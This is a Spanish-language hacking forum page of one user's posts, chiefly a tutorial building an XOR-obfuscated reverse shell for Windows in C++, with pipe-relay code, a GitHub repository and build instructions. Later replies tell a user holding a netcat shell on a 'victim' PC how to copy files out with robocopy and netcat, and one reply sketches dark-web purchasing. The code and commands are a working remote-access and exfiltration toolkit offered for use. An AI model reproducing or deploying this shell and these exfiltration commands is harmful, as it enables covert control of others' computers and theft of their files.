  1. CreateProcess(nullptr, "programa.exe", nullptr, nullptr, true, CREATE_NEW_CONSOLE, nullptr, nullptr, &si, &pi)
La cual recibe los siguientes parametros:

Código: C++
  1. BOOL CreateProcess(
  2.   LPCWSTR pszImageName,
  3.   LPCWSTR pszCmdLine,
  4.   LPSECURITY_ATTRIBUTES psaProcess,
  5.   LPSECURITY_ATTRIBUTES psaThread,
  6.   BOOL fInheritHandles,
  7.   DWORD fdwCreate,
  8.   LPVOID pvEnvironment,
  9.   LPWSTR pszCurDir,
  10.   LPSTARTUPINFOW psiStartInfo,
  11.   LPPROCESS_INFORMATION pProcInfo
  12. );
Extraido de la web de You are not allowed to view links. Register or Login
En este caso solo nos interesan 5 parametros:
  • pszCmdLine       - Ruta al programa a  ejecutar (programa.exe).
  • fInheritHandles - Especifica si el proceso hijo heredara o no HANDLES creados por el proceso padre (tuberias creadas anteriormente).
  • pvEnvironment  - Especifica el entorno en el cual se creara el nuevo proceso.
  • psiStartInfo       - Informacion con la cual sera creada el proceso (la estructura antes modificada si).
  • pProcInfo           - Puntero a una estructura que recibe la informacion de identificacion del proceso creado.
con las  demas opciones se le pasara como parametro nullptr. Si la funcion se ejecuto correctamente retorna un valor diferente de 0, si retorna este valor significa que hubo un error.

Hasta aqui programa.exe se esta ejecutando oculto, leyendo y escribiendo desde y hacia las tuberias creadas por el proceso padre. Ahora se crean dos hilos para leer y escribir al programa mediante las tuberias, asi logramos control sobre lo que salga y entre al programa para aplicar cualquier tipo de "cifrado", en este ejemplo la vieja confiable XOR:

Código: C++
  1. //Funcion de cifrado XOR
  2. std::string XOR(const std::string Data, const std::string Password){
  3.    std::string Final = "";
  4.    for(char cD : Data){
  5.       for(char cS : Password){
  6.          cD ^= cS;
  7.       }
  8.       Final.append(1, cD);
  9.    }
  10.    return Final;
  11. }

El hilo el cual escribira al proceso va de la siguiente manera:
Código: C++
  1. while(EstaCorriendoLaShell){
  2.    char buffer[1024];
  3.    recv(sckSocket, buffer, 1024, 0);
  4.    std::string strCmd = Xor(std::string(buffer));
  5.    DWORD longitud = strCmd.length();
  6.    DWORD bytesEscritos = 0;
  7.    if(!WriteFile(stdinWr, strCmd.c_str(), longitud, &bytesEscritos , nullptr)){
  8.       //Error escribiendo a la tuberia
  9.       EstaCorriendoLaShell = false;
  10.       break;
  11.    }
  12. }
la funcion You are not allowed to view links. Register or Login recibe como primer parametro el HANDLE hacia el cual escribir, en este caso el extremo de escritura de la tuberia (stdinWr), el segundo parametro es la informacion a escribir, la cual es strCmd que previamente se ha "descifrado" con XOR, el tercer parametro es la cantidad de bytes a escribir, el cuarto es un puntero a una variable de tipo DWORD que recibe la cantidad de bytes que se escribieron al HANDLE(stdinWr) y el ultimo le pasamos como parametro nullptr. Si la funcion se ejecuto correctamente el resultado es mayor a 0, si el retorno es este valor, ocurrio un error.

Y por ultimo el hilo que lee del proceso creado va de la siguiente forma:

Código: C++
  1. while(EstaCorriendoLaShell){
  2.    char cBuffer[512];
  3.    DWORD bytesLeidos = 0;
  4.    if(PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)){
  5.       if(bytesLeidos > 0){
  6.          ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
  7.       } else {
  8.          //Todavia no hay nada
  9.          Sleep(100);
  10.          continue;
  11.       }
  12.       std::string strCmd = Xor(std::string(cBuffer));
  13.       int iLen = strCmd.length();
  14.       send(sckSocket, strCmd.c_str(), iLen, 0);
  15.    } else {
  16.       //PeekNamedPipe error
  17.       EstaCorriendoLaShell = false;
  18.       break;
  19.    }
  20. }
haciendo uso de la funcion previamente explicada PeekNamedPipe que se usa para leer del Pipe/HANDLE especificado(stdoutRd), pero al leer esta funcion no borra nada de la tuberia, es para el simple proposito de darle una "ojeada" (Peek) al HANDLE. Ademas del extremo de la tuberia se le pasa como parametro un puntero al buffer el cual recibira los datos pero en este caso como solo le estamos dando una ojeada se le pasa como parametro nullptr. Tambien recibe como parametro un puntero a una variable que recibira el valor de la cantidad de bytes que se pudieron leer (bytesLeidos). Los demas parametros se quedan en nullptr ya que no se almacenara nada solo es para ver si ya hay datos disponibles para leer.
Si la variable bytesleidos es mayor a cero significa que hay datos y podemos proceder a leer de la tuberia haciendo uso de la funcion ReadFile:

Código: C++
  1. ReadFile(stdoutRd, cBuffer, 512, &bytesLeidos, nullptr);
esta funcion recibe la misma cantida de parametros que WriteFile, el (HANDLE/Pipe) del cual leer, donde almacenar los datos (cBuffer), cantidad de bytes a leer (512) y un puntero a una variable que recibe la cantidad de bytes leidos. El ultimo parametro al igual que la funcion WriteFile lo dejamos en nullptr. Una vez leidos los datos se "cifran" haciendo uso de XOR y posteriormente los envia al servidor(atacante).

Pues esa es una descripcion (no muy a fondo) del desarollo e implementacion de una shell inversa "cifrada" en sistemas Windows. El proyecto esta alojado en github como: You are not allowed to view links. Register or Login. Y como siempre no puede faltar el mini tutorial:

Clonar:

Código: DOS
  1. git clone [url]https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git[/url]
O descargar desde aqui : You are not allowed to view links. Register or Login.

Luego editar el fichero Windows/Client.cpp y modificar la siguiente linea de la clase:
Código: C++
  1. std::string strPassword = "[email protected]";
con cualquier contraseña que se desee. Luego modificar la funcion main:

Código: C++
  1. if(Cli->Connect("127.0.0.1", "1337")){
con la informacion que utilizara el cliente para conectarse.

Abrir el archivo Windows/Server.cpp y modificar la funcion main:

Código: C++
  1. Server *Srv = new Server(1337, "[email protected]");
con el puerto y la contraseña a usar en la comunicacion.

Compilar en el directorio Windows/ con mingw32-make client && mingw32-make server. Luego solo toca correr el servidor y el cliente en otra pc.

Una captura:
         

Espero que les sirva de algo, cualquier duda/aporte/comentario es muy bien recibido. Les deseo un feliz resto del dia ;D

Saludos.


Edit:
Cometi un error en la llamada a la funcion PeekNamedPipe, antes de la variable que recibe la cantidad de bytes leidos, se le debe pasar cuantos bytes se deben leer ya que de lo contrario retornara 0. Si les dio el error de compilacion intercambiar el nullptr antes de la variables que recibe los datos con 512. Asi:

Código: C++
  1. PeekNamedPipe(stdoutRd, nullptr, 512, &bytesLeidos, nullptr, nullptr)
O si ya lo clonaron, actualizan con:

Código: DOS
  1. git pull

Sinceras disculpas por el error.

18
Dudas y pedidos generales / Re:Dark Web
« en: Julio 05, 2020, 05:06:04 am »
Hola  @You are not allowed to view links. Register or Login, en teoria lo que debes hacer es instalar el navegador tor mas una VPN, compras bitcoins y te diriges a la tienda, haces tu carrito de compras y pagas. La pregunta es: es confiable?, no estoy muy seguro.

Saludos.

19
Hola @You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
o entiendo  la ultima linea  maquina que lo envia ,  ¿?
Supongo que lo que tienes actualmente es una shell inversa con netcat, entonces se puede decir que Maquina que recibe el archivo eres tu, y Maquina que lo envia es la otra pc o victima.

You are not allowed to view links. Register or Login
 Bueno pero de estar forma no podre copiar carpetas
No, usando el ejemplo que te di lo harias archivo por archivo.

Ademas de la manera en que estas usando el comando You are not allowed to view links. Register or Login no lograras tu objetivo, ya que lo esta copiando solamente en la otra maquina. Para copiar entre distintas computadoras se hace con recursos compartidos como:
Código: DOS
  1. robocopy C:\CopiarEsto \\TU-COMPUTADORA\Recurso

siendo \\TU-COMPUTADORA\Recurso una carpeta compartida en tu pc con los permisos de escritura activados para que la otra pc o victima pueda copiarte los archivos especificados, en este caso C:\CopiarEsto.

Entonces, si no quieres hacerlo manualmente, crea una carpeta compartida en tu pc con permisos de escritura, por ejemplo Recibido. Luego en la sesion de netcat en la otra pc ejecutas el comando robocopy mas o menos asi:
Código: DOS
  1. ROBOCOPY C:\Users\51950\Pictures \\IP-DE-TU-PC\\Recibido

Saludos.

20
Puedes hacer lo siguiente:

Maquina que recibe el archivo
Código: DOS
  1. nc -lp puerto > archivo.jpg

Maquina que lo envia
Código: DOS
  1. type archivo.jpg | nc ip-maquina-recibe puerto
Lo que realiza es que lee el contenido de archivo.jpg, y redirecciona la salida hacia el stdin de netcat. Y la maquina que recibe guarda todo lo que venga de netcat en archivo.jpg.
Tambien tendrias que monitorear el archivo para verificar que la transferencia se completo, ya que netcat no cierra la conexion aunque todos los datos se hayan transferido.

Saludos.

Páginas: [1] 2 3 ... 5